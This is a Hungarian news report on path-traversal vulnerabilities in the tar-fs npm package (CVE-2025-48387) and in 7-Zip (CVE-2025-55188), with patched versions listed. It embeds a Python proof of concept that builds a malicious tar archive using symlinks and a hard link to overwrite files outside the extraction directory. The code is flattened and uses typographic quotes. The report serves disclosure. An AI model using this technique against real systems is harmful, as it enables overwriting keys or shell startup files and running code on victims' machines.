A tar-fs NPM csomagban egy sebezhetőséget (CVE-2025-48387) azonosítottak, amely lehetővé teszi, hogy egy különösen megformált tar-archívum kicsomagolásakor fájlokat írjanak a fájlrendszer bármely részébe, nem korlátozva a kicsomagolás célkönyvtárára (amennyire a jelenlegi felhasználó hozzáférési jogai megengedik). A sebezhetőség emellett arra is felhasználható, hogy meglévő fájlokat felülírjanak; például a felhasználó otthoni könyvtárában átírható a „.ssh/id_rsa” vagy a „.bashrc” fájl, lehetővé téve ezzel a kód végrehajtását a rendszerben.
A problémához kritikus szintű veszélyesség lett rendelve, figyelembe véve, hogy a tar-fs csomagnak heti 23 millió letöltése van, és 1155 projekt függőségeként használják. A sebezhetőséget a 3.0.9, 2.1.3 és 1.16.5 verziókban orvosolták, amelyeket májusban alakítottak ki, de a sebezhetőségről szóló információt csak közel három hónappal később hozták nyilvánosságra.
A sebezhetőség a kicsomagolás célkönyvtárán túlnyúló szimbolikus és kemény linkek meglétének elégtelen ellenőrzéséből fakad az archívumban. A műveletek kikerülésére két szimbolikus link kerül alkalmazásra: az első a kicsomagolás gyökérkönyvtárára mutat („.”), a második pedig az első szimbolikus linkhez viszonyítva jön létre, és a „.. /” karaktereket használ a báziskönyvtár túllépésére. Például, az első link „noop/noop/noop” jelentése „.”, míg a második „noop/noop/noop/.. /.. /.. /” értéke „./.. /.. /.. /”. A fájlok archívumbeli felülírásának érdekében kemény link hozható létre, amely a második szimbolikus linkhez viszonyítva mutat egy külső fájlra. import tarfile import io with tarfile.open(„poc.tar”, mode=„x”) as tar: root = tarfile.TarInfo(„root”) root.linkname = („noop/” * 15) + („.. /” * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo(„noop”) noop.linkname = „.” noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo(„hardflag”) hard.linkname = „root/home/username/flag/flag” hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b„overwrite\n” overwrite = tarfile.TarInfo(„hardflag”) overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b„new!\n” newfile = tarfile.TarInfo(„root/home/username/flag/newfile”) newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content))
Hasonló sebezhetőséget (CVE-2025-55188) fedeztek fel a 7-Zip tömörítőben. A 7-Zip-ben a fájlok alapmappán kívüli írására szimbolikus hivatkozások is használhatók, amelyek „..\/” sorrendet tartalmaznak a fájl útvonalában. A probléma kihasználható, amikor a 7-Zip segítségével bármilyen, szimbolikus hivatkozásokat támogató tömörített fájlt, például zip, tar, 7z és rar fájlokat csomagolunk ki. A problémát a 7-Zip 25.01-es verziója orvosolja.
Forrás: opennet.ru
